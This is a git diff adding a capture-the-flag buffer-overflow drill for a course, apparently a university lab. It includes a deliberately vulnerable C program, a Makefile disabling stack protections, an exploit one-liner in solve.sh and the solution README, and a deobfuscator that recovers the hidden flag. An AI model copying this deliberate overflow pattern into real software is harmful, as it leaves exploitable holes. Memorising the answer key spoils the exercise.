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

literal 0
HcmV?d00001

diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/README.md b/chapters/memory-security/ctf/drills/tasks/indirect-business/README.md
new file mode 100644
index 00000000..60db18dc
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/README.md
@@ -0,0 +1,8 @@
+# Indirect Business
+
+The `indirect-business/support/buff-ovf` binary contains a classic vulnerability.
+Use the input to alter the data in your favor.
+
+If you experience a neural buffer overflow, take a look at the [relevant lab](https://cs-pub-ro.github.io/hardware-software-interface/Lab%2011%20-%20Buffer%20Management.%20Buffer%20Overflow/) and at [online examples](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85).
+
+If that still doesn't work, keep in mind that the great cybersecurity expert named Sun Tzu was a big proponent of bruteforce attacks.
diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/Makefile
new file mode 100644
index 00000000..5a06169a
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/Makefile
@@ -0,0 +1,23 @@
+CC = gcc
+CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
+LDFLAGS = -no-pie -m32
+SRC_DIR = .
+TARGET = buff-ovf
+OBJ = buff-ovf.o
+
+all: $(TARGET)
+
+obfuscator: $(SRC_DIR)/obfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+deobfuscator: $(SRC_DIR)/deobfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+$(TARGET): $(OBJ)
+	$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)
+
+$(OBJ): $(SRC_DIR)/buff-ovf.c
+	$(CC) $(CFLAGS) -c $(SRC_DIR)/buff-ovf.c
+
+clean:
+	rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator
diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md
new file mode 100644
index 00000000..64e59afe
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md
@@ -0,0 +1,8 @@
+# Solution
+
+Use the buffer overflow to overwrite a string on the stack.
+This is going to be copied to a global variable that is checked before calling the `get_flag()` function.
+
+```sh
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*10 + b"Bye")' | ./buff-ovf
+```
diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/buff-ovf.c b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/buff-ovf.c
new file mode 100644
index 00000000..5ce4f283
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/buff-ovf.c
@@ -0,0 +1,61 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+#define MAXC 1000
+
+char buff[] = "Hey";
+
+void get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	/* Here goes the obfuscated flag outputed by obfuscate.c */
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x68\x37"
+			 "\x20\x62\x24\x21\x49\x43\x08\x45\x41\x1d\x16\x40\x35\x7d\x25\x43"
+			 "\x0b\x70\x6d\x7e\x56\x1e\x0a\x11\x03\x61\x07\x64\x0d\x15\x55\x31"
+			 "\x0b\x43\x07\x04\x7c\x56\x0a\x23\x37\x1f\x6c\x09\x70\x19\x54\x3d"
+			 "\x2d\x5d\x1a\x46\x2d";
+
+	int i = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)malloc(MAXC);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts(res);
+}
+
+void check_static_var(void)
+{
+	if (!strcmp(buff, "Bye"))
+		get_flag();
+	else
+		printf("Try again\n");
+}
+
+int main(void)
+{
+	char local_buff[10];
+	char message[10];
+
+	fgets(message, 20, stdin);
+	strcpy(buff, local_buff);
+
+	check_static_var();
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/deobfuscator.c
new file mode 100644
index 00000000..1bb4796f
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/deobfuscator.c
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/obfuscator.c
new file mode 100644
index 00000000..f4583006
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/obfuscator.c
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+const int start_offset = 5;
+unsigned int seed = 42;
+
+unsigned char *obfuscate(unsigned char *s)
+{
+	int i = 0;
+	int garbage;
+	unsigned char *res = (unsigned char *) malloc(10 * MAXC);
+
+	while (*s) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--)
+			res[i++] = rand_r(&seed) % 127 + 1;
+		res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
+		++i;
+		++s;
+	}
+	res[i] = 0;
+
+	return res;
+}
+
+int main(void)
+{
+	unsigned char s[MAXC];
+
+	scanf("%s", s);
+
+	unsigned char *s_obfuscated = obfuscate(s);
+	unsigned char *p = s_obfuscated;
+
+	while (*p) {
+		printf("\\x%02x", *p);
+		++p;
+	}
+
+	free(s_obfuscated);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/solve.sh b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/solve.sh
new file mode 100755
index 00000000..9567020a
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/solve.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*10 + b"Bye")' | ./buff-ovf
diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/support/buff-ovf b/chapters/memory-security/ctf/drills/tasks/indirect-business/support/buff-ovf
new file mode 100755
index 0000000000000000000000000000000000000000..7f37ef92a89d755b408b042cd7429b3f99380e10
GIT binary patch
literal 19560
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

literal 0
HcmV?d00001

diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/README.md b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/README.md
new file mode 100644
index 00000000..8ab14d9c
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/README.md
@@ -0,0 +1,7 @@
+# Look at Him Go
+
